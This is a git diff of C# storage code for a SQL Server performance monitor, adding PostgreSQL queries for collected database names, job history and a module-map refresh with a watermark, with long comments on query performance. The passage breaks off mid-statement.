+++ b/Darling/PerformanceMonitor.Darling.Storage/CollectedDatabases.cs
@@ -0,0 +1,78 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// #5245: the databases the store has collected for one server, the list both pickers offer. The desktop viewer's
+/// Excluded Databases picker and the web viewer's database filter (<c>GET /api/server-databases</c>) both run
+/// <see cref="NamesSql"/>, so the two lists cannot drift. It lives here, in the project both of them reference,
+/// rather than in either one.
+/// </summary>
+public static class CollectedDatabases
+{
+    /// <summary>
+    /// DISTINCT user-database names the store has collected for one server, from either the database
+    /// config snapshot or the per-file size stats (UNION dedupes across both), system databases removed,
+    /// ordered by name. $1 server_id.
+    ///
+    /// <para><b>Each arm is DISTINCT on its own.</b> The query reads every retained row of both views for the server,
+    /// and a bare <c>UNION</c> of them makes the planner sort the whole input (about 2.2 million
+    /// <c>v_database_size_stats</c> rows for 500 databases at the hourly, 90-day default: a 23 MB external merge sort,
+    /// a 4.4 s median on a rig). Deduplicating inside each arm lets it hash-aggregate the rows down to the few hundred
+    /// names before the union (0.26 s median, same rows). Bounding both arms to the retention window instead was
+    /// measured and gains almost nothing at the worst case (3.4 s), because that window IS the table. #5245.</para>
+    /// </summary>
+    public const string NamesSql = NamesBody + "\nORDER BY database_name";
+
+    /// <summary>
+    /// The names query up to, and not including, its ORDER BY: the one copy <see cref="NamesSql"/> and
+    /// <see cref="NamesSearchLimitedSql"/> are both built from, so the search read cannot drift from the full list. #5314.
+    /// </summary>
+    private const string NamesBody = """
+        SELECT database_name
+        FROM (
+            SELECT DISTINCT database_name FROM v_database_config WHERE server_id = $1
+            UNION
+            SELECT DISTINCT database_name FROM v_database_size_stats WHERE server_id = $1
+        ) AS d
+        WHERE database_name IS NOT NULL
+        AND   database_name NOT IN ('master', 'model', 'msdb', 'tempdb')
+        """;
+
+    /// <summary>
+    /// <see cref="NamesSql"/> with a row limit, $2 (the web route passes its cap plus one, so one extra row says the list
+    /// was cut). Built from <see cref="NamesSql"/> so the two cannot drift. The desktop Excluded Databases picker keeps
+    /// running <see cref="NamesSql"/> itself and so reads every name, as before. #5245.
+    /// </summary>
+    public const string NamesLimitedSql = NamesSql + "\nLIMIT $2";
+
+    /// <summary>
+    /// <see cref="NamesLimitedSql"/> narrowed to the names that contain a search text: $3 is the LIKE pattern
+    /// <see cref="SearchPattern"/> builds (one text parameter, matched case-insensitively with <c>ILIKE</c>, with
+    /// backslash as the escape character so <c>%</c>, <c>_</c> and <c>\</c> in the text match only themselves). The
+    /// narrowing is applied BEFORE the row limit, so a database past the list's cap is found by its text. This is what
+    /// lets the web picker's search box reach past the list's cap. #5314.
+    /// </summary>
+    public const string NamesSearchLimitedSql = NamesBody
+        + "\nAND   database_name ILIKE $3 ESCAPE '\\'"
+        + "\nORDER BY database_name"
+        + "\nLIMIT $2";
+
+    /// <summary>
+    /// The LIKE pattern for "the name contains <paramref name="search"/>": the text with <c>\</c>, <c>%</c> and <c>_</c>
+    /// escaped by a backslash and wrapped in <c>%</c>. A name is never matched by a wildcard the reader typed. #5314.
+    /// </summary>
+    public static string SearchPattern(string search)
+    {
+        var escaped = search.Replace("\\", "\\\\", System.StringComparison.Ordinal)
+            .Replace("%", "\\%", System.StringComparison.Ordinal)
+            .Replace("_", "\\_", System.StringComparison.Ordinal);
+        return "%" + escaped + "%";
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/DarlingJobHistoryReader.cs b/Darling/PerformanceMonitor.Darling.Storage/DarlingJobHistoryReader.cs
new file mode 100644
index 0000000000..aab8e6ff43
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/DarlingJobHistoryReader.cs
@@ -0,0 +1,414 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data.Common;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Analysis.Baselines;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// One retained job-history row (a step, or the step_id 0 job outcome) as the store holds it, with its times as
+/// naive UTC: <c>run_datetime</c> is the monitored server's local wall clock, so the reader converts it with the
+/// server's <see cref="ServerClock"/> (#4766). The WPF viewer and the MCP tool both map from this record.
+/// </summary>
+public sealed record DarlingJobHistoryRow(
+    int ServerId,
+    string ServerName,
+    long InstanceId,
+    string JobId,
+    string JobName,
+    bool JobEnabled,
+    string? CategoryName,
+    int StepId,
+    string? StepName,
+    int RunStatus,
+    string? RunStatusDesc,
+    DateTime? RunDateTimeUtc,
+    long RunDurationSeconds,
+    int RetriesAttempted,
+    string? Message,
+    DateTime? LastSuccessfulRunUtc,
+    bool IsLongRunning);
+
+/// <summary>
+/// Optional filters on the job-history read, applied inside the per-server top-N so the row limit counts only
+/// matching rows. The viewer passes none (it filters on the grid); the MCP tool passes what the caller asked for.
+/// Job name and category match exactly, ignoring case. <paramref name="UntilUtc"/> (naive UTC) is an optional end
+/// instant: the SQL bounds the newest runs by it (widened by an hour, like the start) and the job stats exactly,
+/// and <see cref="DarlingJobHistoryReader.GetAsync"/> then cuts the runs exactly in C#.
+/// </summary>
+public sealed record JobHistoryFilter(string? JobName = null, int? RunStatus = null, string? Category = null, DateTime? UntilUtc = null)
+{
+    private int UntilParam(int firstParam) => firstParam + (JobName is null ? 0 : 1) + (RunStatus is null ? 0 : 1) + (Category is null ? 0 : 1);
+
+    /// <summary>The <c>AND</c> clauses for the set filters, numbering their parameters from <paramref name="firstParam"/>.</summary>
+    public string Clauses(int firstParam)
+    {
+        var next = firstParam;
+        var sql = string.Empty;
+        if (JobName is not null)
+        {
+            sql += $"\n        AND   lower(jh.job_name) = lower(${next++})";
+        }
+
+        if (RunStatus is not null)
+        {
+            sql += $"\n        AND   jh.run_status = ${next++}";
+        }
+
+        if (Category is not null)
+        {
+            sql += $"\n        AND   lower(jh.category_name) = lower(${next++})";
+        }
+
+        if (UntilUtc is not null)
+        {
+            sql += $"\n        AND   jh.run_datetime <= ${next} + make_interval(mins => so.offset_minutes)";
+        }
+
+        return sql;
+    }
+
+    /// <summary>
+    /// The job-stats clause for the end instant, the same exact bound as <see cref="Clauses"/>, so a stat never names a run after it
+    /// and a run exactly at the end instant is both shown and counted. Both convert with the stored server offset, so across a DST
+    /// change they can be off by up to an hour; the exact C# cut in <see cref="ApplyWindow"/> settles the rows shown.
+    /// </summary>
+    internal string StatsClause(int firstParam) =>
+        UntilUtc is null ? string.Empty : $"\n        AND   jh.run_datetime <= ${UntilParam(firstParam)} + make_interval(mins => so.offset_minutes)";
+
+    internal IEnumerable<NpgsqlParameter> Parameters()
+    {
+        if (JobName is not null)
+        {
+            yield return new NpgsqlParameter<string> { TypedValue = JobName };
+        }
+
+        if (RunStatus is not null)
+        {
+            yield return new NpgsqlParameter<int> { TypedValue = RunStatus.Value };
+        }
+
+        if (Category is not null)
+        {
+            yield return new NpgsqlParameter<string> { TypedValue = Category };
+        }
+
+        if (UntilUtc is not null)
+        {
+            yield return new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(UntilUtc.Value, DateTimeKind.Unspecified) };
+        }
+    }
+}
+
+/// <summary>
+/// The store-side job-history read shared by the WPF Job History tab and the <c>get_job_history</c> tool: the SQL,
+/// the per-row server-clock conversion and the exact window cut. See <see cref="BuildJobHistorySql"/> for the
+/// statement and <see cref="ApplyWindow"/> for the cut.
+/// </summary>
+public static class DarlingJobHistoryReader
+{
+    /// <summary>The job-history statement's text: <see cref="BuildJobHistorySql"/> with no filter, fleet-wide.</summary>
+    public static readonly string FleetSql = BuildJobHistorySql(scopedToServer: false);
+
+    /// <summary>The job-history statement's text scoped to one server.</summary>
+    public static readonly string ServerSql = BuildJobHistorySql(scopedToServer: true);
+
+    /// <summary>
+    /// Reads the newest <paramref name="limit"/> runs at or after <paramref name="sinceUtc"/> (naive UTC), for one
+    /// server or, with no <paramref name="serverId"/>, all of them, newest first. The window is exact after the
+    /// server-local to UTC conversion; the SQL pre-filters widened by an hour.
+    /// </summary>
+    public static async Task<List<DarlingJobHistoryRow>> GetAsync(
+        NpgsqlDataSource dataSource, DateTime sinceUtc, int? serverId, int limit, int commandTimeoutSeconds,
+        JobHistoryFilter? filter = null, CancellationToken cancellationToken = default)
+    {
+        var sql = BuildJobHistorySql(serverId.HasValue, filter);
+        var clocks = await DarlingServerClocksReader.GetAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken);
+
+        var rows = new List<DarlingJobHistoryRow>();
+
+        await using var command = dataSource.CreateCommand(sql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(sinceUtc, DateTimeKind.Unspecified) });
+        if (serverId.HasValue)
+        {
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId.Value });
+        }
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = EventWindowFloor.For(sinceUtc) });
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = limit });
+        if (filter is not null)
+        {
+            foreach (var p in filter.Parameters())
+            {
+                command.Parameters.Add(p);
+            }
+        }
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            rows.Add(ReadRow(reader, clocks));
+        }
+
+        return ApplyWindow(rows, sinceUtc, limit, filter?.UntilUtc);
+    }
+
+    /// <summary>
+    /// The exact window, after the server-local to UTC conversion: keeps the runs at or after
+    /// <paramref name="sinceUtc"/> (the SQL pre-filter is widened by an hour) and, when given, at or before
+    /// <paramref name="untilUtc"/>, orders them newest first by their real
+    /// UTC time, and keeps the newest <paramref name="limit"/> (#4766).
+    /// </summary>
+    public static List<DarlingJobHistoryRow> ApplyWindow(List<DarlingJobHistoryRow> rows, DateTime sinceUtc, int limit, DateTime? untilUtc = null)
+    {
+        ArgumentNullException.ThrowIfNull(rows);
+        var since = DateTime.SpecifyKind(sinceUtc, DateTimeKind.Unspecified);
+        var until = untilUtc is { } u ? DateTime.SpecifyKind(u, DateTimeKind.Unspecified) : (DateTime?)null;
+        var kept = new List<DarlingJobHistoryRow>(rows.Count);
+        foreach (var row in rows)
+        {
+            if (row.RunDateTimeUtc is { } runUtc && runUtc >= since && (until is null || runUtc <= until))
+            {
+                kept.Add(row);
+            }
+        }
+
+        kept.Sort(static (a, b) =>
+        {
+            var byTime = Nullable.Compare(b.RunDateTimeUtc, a.RunDateTimeUtc);
+            return byTime != 0 ? byTime : b.InstanceId.CompareTo(a.InstanceId);
+        });
+
+        if (limit >= 0 && kept.Count > limit)
+        {
+            kept.RemoveRange(limit, kept.Count - limit);
+        }
+
+        return kept;
+    }
+
+    /// <summary>
+    /// Builds <see cref="GetAsync"/>'s SQL text, split out so Darling.Tests can pin both parameter
+    /// shapes (fleet-wide and single-server) without a live Postgres. $1 window start (naive UTC); when
+    /// <paramref name="scopedToServer"/>, $2 server_id and the floor moves to $3, the limit to $4 — otherwise
+    /// the floor is $2 and the limit $3. The floor is the <see cref="EventWindowFloor"/> for $1:
+    /// <c>job_history</c> is a hypertable partitioned on <c>collection_time</c>, which the de-skewed
+    /// <c>run_datetime</c> window alone gives the planner nothing to exclude a chunk on (#4229). The
+    /// de-skewed run time is always ≤ <c>collection_time</c> (store UTC at collection, and a job's history row
+    /// is collected after the run it reports), so the floor cannot drop a qualifying row.
+    /// <para>
+    /// <b>Per-server top-N over V150's index (#4477), replacing a fleet-wide scan.</b> The old text scanned
+    /// every <c>job_history</c> row in the two-day window across the whole fleet, sorted the lot by
+    /// <c>run_datetime_utc DESC, instance_id DESC</c>, and took the top <c>limit</c> — a full scan of every
+    /// server's history to find the newest rows, with no index able to serve <c>run_datetime_utc</c> because
+    /// it is computed (<c>run_datetime</c> minus a per-server offset), not a stored column. Each monitored
+    /// server's UTC offset is constant for the life of the read (one <c>server_properties</c> lookup), so
+    /// "newest <c>limit</c> rows fleet-wide by <c>run_datetime_utc DESC, instance_id DESC</c>" is exactly a
+    /// merge of each server's own newest <c>limit</c> rows by RAW <c>run_datetime DESC, instance_id DESC</c> —
+    /// an order <see cref="PgMigrations"/>' V150 index <c>idx_job_history_server_run (server_id, run_datetime
+    /// DESC, instance_id DESC)</c> serves directly, with no sort. <c>server_offsets</c> enumerates every
+    /// registered server (mirroring the old <c>reg</c> LEFT JOIN, but now the LATERAL's driving table) with
+    /// its offset (0 when none collected yet, exactly like the old COALESCE); <c>top_by_server</c> is one
+    /// <c>CROSS JOIN LATERAL</c> per server, each an index-only top-<c>limit</c> descent; <c>base</c> merges
+    /// those (at most <c>servers × limit</c>, never more) and re-applies the SAME final ORDER BY/LIMIT to pick
+    /// the fleet-wide top <c>limit</c> — identical rows, identical order, identical tie-break to the old text.
+    /// <c>active_servers</c> drives off <c>job_history</c> itself (<c>DISTINCT server_id</c> for rows with
+    /// <c>collection_time &gt;= {floorParam}</c>, the same superset floor the per-server LATERAL already
+    /// filters on) rather than the <c>servers</c> registry — an earlier draft drove off <c>servers</c>
+    /// directly, which would have silently dropped every row for a <c>server_id</c> the registry no longer
+    /// carries (a decommissioned server whose retained history the old <c>LEFT JOIN reg</c> still showed,
+    /// under the raw collected name). <c>server_offsets</c> LEFT JOINs <c>servers</c> onto that driving set for
+    /// the display-name fallback (NULL when unregistered, exactly like the old COALESCE), so a
+    /// <c>job_history</c> row survives regardless of whether its server is still registered.
+    /// </para>
+    /// <para>
+    /// <b>job_stats stays a bounded per-server window, not a second fleet-wide scan.</b> The average/max a row
+    /// needs only ever depends on its OWN job's step_id-0 SUCCESS rows on its OWN server, so <c>job_stats</c>
+    /// is a <c>CROSS JOIN LATERAL</c> per server actually present in <c>base</c> (not all registered servers —
+    /// a server with no rows in the final top-<c>limit</c> needs no stats at all), using the same index's
+    /// <c>server_id</c>/<c>run_datetime</c> range to bound the scan to that one server's window, filtered to
+    /// <c>step_id = 0 AND run_status = 1</c> and to just the job_ids <c>base</c> actually kept for that server
+    /// (a job never shown needs no average computed for it), <c>GROUP BY job_id</c>. Values are identical to
+    /// the old text's: same 24-hour-window predicate, same step_id/run_status filter, same GROUP BY grain —
+    /// only the scan is now bounded to one server's rows via the index instead of every server's success rows
+    /// combined. <c>job_stats</c> LEFT JOINs onto <c>base</c> so a job with no successful step-0 row in the
+    /// window still surfaces its other rows with a NULL avg/last-success, exactly as before.
+    /// </para>
+    /// </summary>
+    public static string BuildJobHistorySql(bool scopedToServer, JobHistoryFilter? filter = null)
+    {
+        var serverFilter = scopedToServer ? "AND   jh.server_id = $2" : string.Empty;
+        var floorParam = scopedToServer ? "$3" : "$2";
+        var limitParam = scopedToServer ? "$4" : "$3";
+        var filterSql = filter is null ? string.Empty : filter.Clauses(scopedToServer ? 5 : 4);
+        var statsUntilSql = filter is null ? string.Empty : filter.StatsClause(scopedToServer ? 5 : 4);
+
+        return $@"
+WITH svr AS (
+    SELECT DISTINCT ON (server_id)
+        server_id,
+        utc_offset_minutes
+    FROM server_properties
+    WHERE utc_offset_minutes IS NOT NULL
+    ORDER BY server_id, collection_time DESC
+),
+active_servers AS (
+    SELECT DISTINCT jh.server_id
+    FROM job_history AS jh
+    WHERE jh.collection_time >= {floorParam}
+    {serverFilter}
+),
+server_offsets AS (
+    SELECT
+        a.server_id,
+        reg.display_name,
+        COALESCE(svr.utc_offset_minutes, 0) AS offset_minutes
+    FROM active_servers AS a
+    LEFT JOIN svr ON svr.server_id = a.server_id
+    LEFT JOIN servers AS reg ON reg.server_id = a.server_id
+),
+top_by_server AS (
+    SELECT
+        so.server_id,
+        COALESCE(so.display_name, top.server_name) AS server_name,
+        top.instance_id,
+        top.job_id,
+        top.job_name,
+        top.job_enabled,
+        top.category_name,
+        top.step_id,
+        top.step_name,
+        top.run_status,
+        top.run_status_desc,
+        top.run_datetime AS run_datetime_local,
+        top.run_datetime - make_interval(mins => so.offset_minutes) AS approx_run_utc,
+        top.run_duration_seconds,
+        top.retries_attempted,
+        top.message
+    FROM server_offsets AS so
+    CROSS JOIN LATERAL (
+        SELECT
+            jh.server_name,
+            jh.instance_id,
+            jh.job_id,
+            jh.job_name,
+            jh.job_enabled,
+            jh.category_name,
+            jh.step_id,
+            jh.step_name,
+            jh.run_status,
+            jh.run_status_desc,
+            jh.run_datetime,
+            jh.run_duration_seconds,
+            jh.retries_attempted,
+            jh.message
+        FROM job_history AS jh
+        WHERE jh.server_id = so.server_id
+        AND   jh.collection_time >= {floorParam}
+        AND   jh.run_datetime >= $1 + make_interval(mins => so.offset_minutes) - interval '1 hour'{filterSql}
+        ORDER BY jh.run_datetime DESC, jh.instance_id DESC
+        LIMIT {limitParam}
+    ) AS top
+),
+base AS (
+    SELECT *
+    FROM top_by_server
+    ORDER BY approx_run_utc DESC, instance_id DESC
+    LIMIT {limitParam}
+),
+job_stats AS (
+    SELECT
+        so.server_id,
+        js.job_id,
+        js.avg_success_duration,
+        js.last_success_run_local
+    FROM (SELECT DISTINCT server_id FROM base) AS b
+    JOIN server_offsets AS so ON so.server_id = b.server_id
+    CROSS JOIN LATERAL (
+        SELECT
+            jh.job_id,
+            AVG(jh.run_duration_seconds) AS avg_success_duration,
+            MAX(jh.run_datetime) AS last_success_run_local
+        FROM job_history AS jh
+        WHERE jh.server_id = so.server_id
+        AND   jh.step_id = 0
+        AND   jh.run_status = 1
+        AND   jh.collection_time >= {floorParam}
+        AND   jh.run_datetime >= $1 + make_interval(mins => so.offset_minutes){statsUntilSql}
+        AND   jh.job_id IN (SELECT job_id FROM base WHERE base.server_id = so.server_id)
+        GROUP BY jh.job_id
+    ) AS js
+)
+SELECT
+    base.server_id,
+    base.server_name,
+    base.instance_id,
+    base.job_id,
+    base.job_name,
+    base.job_enabled,
+    base.category_name,
+    base.step_id,
+    base.step_name,
+    base.run_status,
+    base.run_status_desc,
+    base.run_datetime_local,
+    base.run_duration_seconds,
+    base.retries_attempted,
+    base.message,
+    job_stats.last_success_run_local,
+    CASE
+        WHEN base.step_id = 0
+        AND  job_stats.avg_success_duration IS NOT NULL
+        AND  job_stats.avg_success_duration > 0
+        AND  base.run_duration_seconds > job_stats.avg_success_duration * 2
+        AND  base.run_duration_seconds > 60
+        THEN true
+        ELSE false
+    END AS is_long_running
+FROM base
+LEFT JOIN job_stats
+    ON  job_stats.server_id = base.server_id
+    AND job_stats.job_id = base.job_id
+ORDER BY base.approx_run_utc DESC, base.instance_id DESC";
+    }
+
+    /// <summary>Maps one row of <see cref="BuildJobHistorySql"/>'s result set. The run time and the last
+    /// successful run arrive as the server's own wall clock; they leave as naive UTC, converted with that
+    /// server's clock from <paramref name="clocks"/> (UTC when it has none).</summary>
+    public static DarlingJobHistoryRow ReadRow(DbDataReader reader, IReadOnlyDictionary<int, ServerClock> clocks)
+    {
+        ArgumentNullException.ThrowIfNull(reader);
+        var serverId = reader.IsDBNull(0) ? 0 : reader.GetInt32(0);
+        var clock = DarlingServerClocksReader.ClockFor(clocks, serverId);
+
+        return new DarlingJobHistoryRow(
+            serverId,
+            reader.IsDBNull(1) ? "" : reader.GetString(1),
+            reader.IsDBNull(2) ? 0 : reader.GetInt64(2),
+            reader.IsDBNull(3) ? "" : reader.GetString(3),
+            reader.IsDBNull(4) ? "" : reader.GetString(4),
+            !reader.IsDBNull(5) && reader.GetBoolean(5),
+            reader.IsDBNull(6) ? null : reader.GetString(6),
+            reader.IsDBNull(7) ? 0 : reader.GetInt32(7),
+            reader.IsDBNull(8) ? null : reader.GetString(8),
+            reader.IsDBNull(9) ? 0 : reader.GetInt32(9),
+            reader.IsDBNull(10) ? null : reader.GetString(10),
+            reader.IsDBNull(11) ? null : clock.ToUtc(reader.GetDateTime(11)),
+            reader.IsDBNull(12) ? 0 : reader.GetInt64(12),
+            reader.IsDBNull(13) ? 0 : reader.GetInt32(13),
+            reader.IsDBNull(14) ? null : reader.GetString(14),
+            reader.IsDBNull(15) ? null : clock.ToUtc(reader.GetDateTime(15)),
+            !reader.IsDBNull(16) && reader.GetBoolean(16));
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/DarlingModuleMap.cs b/Darling/PerformanceMonitor.Darling.Storage/DarlingModuleMap.cs
index 48c43809fa..54e1dc423d 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/DarlingModuleMap.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/DarlingModuleMap.cs
@@ -11,6 +11,7 @@
 using System.Threading.Tasks;
 using Microsoft.Extensions.Logging;
 using Npgsql;
+using NpgsqlTypes;
 
 namespace PerformanceMonitor.Darling.Storage;
 
@@ -43,45 +44,194 @@ public static class DarlingModuleMap
     PRIMARY KEY (server_name, sql_handle)
 )";
 
+    /// <summary>The refresh watermark: one row (<c>id = 1</c>) holding the largest procedure_stats
+    /// <c>collection_time</c> the last refresh read. It is written in the same statement, and so the same snapshot,
+    /// as the map upsert, so a reader that trusts the watermark knows the map holds every attribution up to it.
+    /// Naive UTC like every timestamp in the store. A runtime table created beside <see cref="CreateTableSql"/>,
+    /// not a migration.</summary>
+    public const string CreateStateTableSql = @"CREATE TABLE IF NOT EXISTS collect.module_map_state (
+    id integer PRIMARY KEY CHECK (id = 1),
+    refreshed_through timestamp,
+    refreshed_at timestamp
+)";
+
+    /// <summary>The late-commit slack the hourly refresh re-reads behind the watermark: a procedure_stats row
+    /// committed up to this long after its <c>collection_time</c> is still picked up by the next refresh. A row
+    /// committed later than that waits for the daily refresh, which re-reads
+    /// <see cref="DailyRepairSlack"/> behind the watermark.</summary>
+    public static readonly TimeSpan WatermarkSlack = TimeSpan.FromMinutes(10);
+
+    /// <summary>
+    /// How far behind the watermark the daily refresh re-reads (#5519). It is the repair for what
+    /// the hourly path can miss: a procedure_stats row committed more than <see cref="WatermarkSlack"/> after its
+    /// <c>collection_time</c> sits behind the watermark and no hourly run looks there. The hourly refresh keeps the
+    /// watermark near now, so the span must cover the daily's own 24-hour cadence plus a margin for how late a row
+    /// commits: 30 hours does, so a row stamped anywhere in the day since the previous daily run is re-read, however
+    /// late it committed (up to the margin). The old daily read (<see cref="RefreshSql"/>, a flat two days) cost
+    /// 88 to 103 s of store time per call on a 43-server store; 30 hours is 62 percent of that span, and
+    /// <see cref="MaxLookback"/> still caps it. The span is fixed rather than a stored "repaired through" point,
+    /// which would need a schema column. A purge pass delayed more than 6 hours past its 24-hour cadence, or a
+    /// restart gap that long, can still leave a gap. The daily purge's first pass after a restart runs it too (#5578:
+    /// the start path itself no longer refreshes the map), so a restart still repairs the same span.
+    /// </summary>
+    public static readonly TimeSpan DailyRepairSlack = TimeSpan.FromHours(30);
+
+    /// <summary>The farthest back an hourly refresh ever reads, inside procedure_stats' 4-day raw retention.
+    /// It bounds the first refresh on a store with no watermark, and a refresh after a long stall.</summary>
+    public static readonly TimeSpan MaxLookback = TimeSpan.FromDays(2);
+
+    /// <summary>The select list of the <c>src</c> CTE both refreshes read (#5583): the identity and names a handle was
+    /// seen under, and the newest time it was seen under exactly those names.</summary>
+    private const string SourceColumns = "server_name, sql_handle, database_name, schema_name, object_name, max(collection_time) AS collection_time";
+
+    /// <summary>
+    /// The <c>src</c> grouping (#5583). The refresh reads every procedure_stats row in its window (10.6 M rows for the
+    /// daily 30-hour repair on one large store) to land on a few thousand handles (21,636). Handing the tail those
+    /// raw rows made its <c>DISTINCT ON</c> sort all of them (a 2.19 GB spill, 21.5 s of a 35.5 s statement),
+    /// wrote them to disk as the CTE (<c>up</c> and <c>st</c> both read <c>src</c>), and read them a second time for
+    /// <c>st</c>'s <c>max()</c>. Grouping first collapses the rows to one per (server, handle, names) before anything
+    /// sorts or materializes them. On a copy of that store the same window ran in 8.3 s: a Partial HashAggregate per
+    /// chunk, a Finalize HashAggregate, one batch with no spill (16 MB), the tail's sort a 5 MB quicksort, the CTE in
+    /// memory, <c>st</c>'s <c>max()</c> 2.6 ms, and the same 21,636 upserts.
+    ///
+    /// <para>The names are in the key so that the tail's <c>DISTINCT ON ... ORDER BY collection_time DESC</c> still
+    /// keeps the newest row's names for a handle: the newest group is the newest row, its names win, and
+    /// <c>max(collection_time)</c> is that row's time, so <c>last_seen</c> and the watermark's
+    /// <c>max(collection_time)</c> are what they were. NULL name columns group together. Two rows at the same newest
+    /// <c>collection_time</c> with different names stay as arbitrary as they were (the sort has no tie-break).</para>
+    ///
+    /// <para>The planner estimated 1,302,615 groups against the 21,636 real ones (about 60x high), so a store with
+    /// other statistics could still plan a Sort + GroupAggregate here. That is no worse than the plan before this
+    /// change, and a HashAggregate that outgrows its memory spills in partitions (PostgreSQL 13 and later) rather
+    /// than failing.</para>
+    /// </summary>
+    private const string SourceGroupBy = "GROUP BY server_name, sql_handle, database_name, schema_name, object_name";
+
     /// <summary>
-    /// Upserts the latest <c>(server_name, sql_handle) → (database_name, schema_name, object_name)</c> from the last
-    /// two days of procedure_stats — well inside its 4-day raw retention, so no handle is missed between runs.
+    /// The statement tail both refreshes share, after their own <c>WITH src AS (...)</c> head: upsert the latest
+    /// attribution per handle from <c>src</c>, then advance the watermark in the same statement.
     /// ACCUMULATES: a handle that stops appearing keeps its last-known attribution forever (no delete). DISTINCT ON
-    /// keeps the most-recent row per handle; the ON CONFLICT only advances a row (never regresses last_seen), so a
-    /// stale run can't overwrite a fresher attribution.
+    /// keeps the most-recent <c>src</c> row per handle (<c>src</c> is already one row per handle and name set, see
+    /// <see cref="SourceGroupBy"/>, so this sorts thousands of rows, not the raw read); the ON CONFLICT only advances a row (never regresses last_seen), so a
+    /// stale run can't overwrite a fresher attribution. The watermark only moves forward too (GREATEST), never
+    /// runs ahead of the store's clock (LEAST: one row stamped in the future would otherwise pin it there for good,
+    /// since GREATEST never lets it back down), and an empty <c>src</c> writes nothing, so a refresh that read no
+    /// rows leaves it where it was.
+    ///
+    /// <para>The <c>ORDER BY</c> its DISTINCT ON requires also happens to be a deterministic ascending order
+    /// on the conflict key, so concurrent refreshes take these row locks in the same relative order and the
+    /// unordered-batch-upsert deadlock (#1801) cannot form here. Checked, not assumed -- do not drop or
+    /// reorder it on the belief that it is only about picking the latest row.</para>
+    ///
+    /// <para>The statement returns one row: the number of map rows upserted and the watermark after the
+    /// statement (null when <c>src</c> was empty).</para>
+    /// </summary>
+    private const string UpsertAndAdvanceTail = @"up AS (
+    INSERT INTO collect.module_map (server_name, sql_handle, database_name, schema_name, object_name, last_seen)
+    SELECT DISTINCT ON (server_name, sql_handle)
+        server_name, sql_handle, database_name, schema_name, object_name, collection_time
+    FROM src
+    ORDER BY server_name, sql_handle, collection_time DESC
+    ON CONFLICT (server_name, sql_handle) DO UPDATE SET
+        database_name = EXCLUDED.database_name,
+        schema_name = EXCLUDED.schema_name,
+        object_name = EXCLUDED.object_name,
+        last_seen = EXCLUDED.last_seen
+    WHERE module_map.last_seen IS NULL OR EXCLUDED.last_seen >= module_map.last_seen
+    RETURNING 1
+),
+st AS (
+    INSERT INTO collect.module_map_state (id, refreshed_through, refreshed_at)
+    SELECT 1, LEAST(max(collection_time), (now() AT TIME ZONE 'UTC')::timestamp), (now() AT TIME ZONE 'UTC')::timestamp
+    FROM src
+    HAVING max(collection_time) IS NOT NULL
+    ON CONFLICT (id) DO UPDATE SET
+        refreshed_through = GREATEST(module_map_state.refreshed_through, EXCLUDED.refreshed_through),
+        refreshed_at = EXCLUDED.refreshed_at
+    RETURNING refreshed_through
+)
+SELECT (SELECT count(*) FROM up)::integer, (SELECT refreshed_through FROM st)";
+
+    /// <summary>
+    /// The full refresh (#5519: no longer the daily one when a watermark exists; see <see cref="DarlingModuleMap.RefreshAsync"/>),
+    /// run for an empty map or one with no watermark: upserts the latest <c>(server_name, sql_handle) → (database_name, schema_name,
+    /// object_name)</c> from the last two days of procedure_stats — well inside its 4-day raw retention, so no
+    /// handle is missed between runs — and advances the watermark (see <see cref="UpsertAndAdvanceTail"/>).
     ///
     /// <para><c>now()</c> IS LEFT BARE HERE, alone in the store's SQL, and it survives on margin rather than on
     /// being harmless. <c>collection_time</c> is naive UTC and <c>now()</c> is <c>timestamptz</c>, so the store
     /// session's TimeZone shifts this bound like any other: across the real offset range (UTC-12..UTC+14) the
     /// 48-hour window delivers between 34 and 60 hours. Both ends are safe for THIS query and only because of
-    /// the two numbers either side of it — 34h still covers the refresh cadence (startup, then riding the 24h
-    /// purge) so no handle is missed between runs, and 60h is still inside
+    /// the two numbers either side of it — 34h still covers the refresh cadence (the purge's first pass after a
+    /// restart, then riding the 24h purge) so no handle is missed between runs, and 60h is still inside
     /// <c>TimescaleSupport.RawRetentionInterval</c> (4 days) so the widened end scans nothing that has been
     /// dropped. The map also ACCUMULATES, so a wider window only re-reads rows it already has. Shorten the
     /// cadence past 34h or the raw retention past 60h and this has to become a bound parameter like every other
     /// windowed read; it is not a licence for the next one.</para>
-    ///
-    /// <para>The <c>ORDER BY</c> its DISTINCT ON requires also happens to be a deterministic ascending order
-    /// on the conflict key, so concurrent refreshes take these row locks in the same relative order and the
-    /// unordered-batch-upsert deadlock (#1801) cannot form here. Checked, not assumed -- do not drop or
-    /// reorder it on the belief that it is only about picking the latest row.</para>
     /// </summary>
-    public const string RefreshSql = @"INSERT INTO collect.module_map (server_name, sql_handle, database_name, schema_name, object_name, last_seen)
-SELECT DISTINCT ON (server_name, sql_handle)
-    server_name, sql_handle, database_name, schema_name, object_name, collection_time
-FROM collect.procedure_stats
-WHERE collection_time >= now() - interval '2 days'
